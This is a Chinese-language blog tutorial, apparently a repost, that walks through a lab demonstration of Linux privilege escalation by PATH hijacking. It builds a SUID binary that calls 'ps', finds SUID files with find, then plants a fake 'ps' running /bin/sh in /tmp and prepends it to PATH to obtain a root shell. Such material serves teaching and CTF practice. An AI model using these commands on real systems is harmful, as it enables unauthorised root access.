分你所享、信息共享、轻松分享
来自民间的思想 | 送人玫瑰,手有余香。

在Linux中使用环境变量进行提权

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。 使用echo命令显示当前PATH环境变量: echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games 如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP 当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。 pwd mkdir script cd /script nano demo.c 在Linux中使用环境变量进行提权 正如你在demo.c文件中看到的,我们正在调用ps命令。 2.png在Linux中使用环境变量进行提权 然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。 ls gcc demo.c -o shell chmod u+s shell ls -la shell 3.png在Linux中使用环境变量进行提权 受害者VM机器 假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。 find / -perm -u=s -type f 2>/dev/null 通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。 在Linux中使用环境变量进行提权 进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。 /home/raj/script

在Linux中使用环境变量进行提权

Echo命令

cd /tmp echo “/bin/sh” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell whoami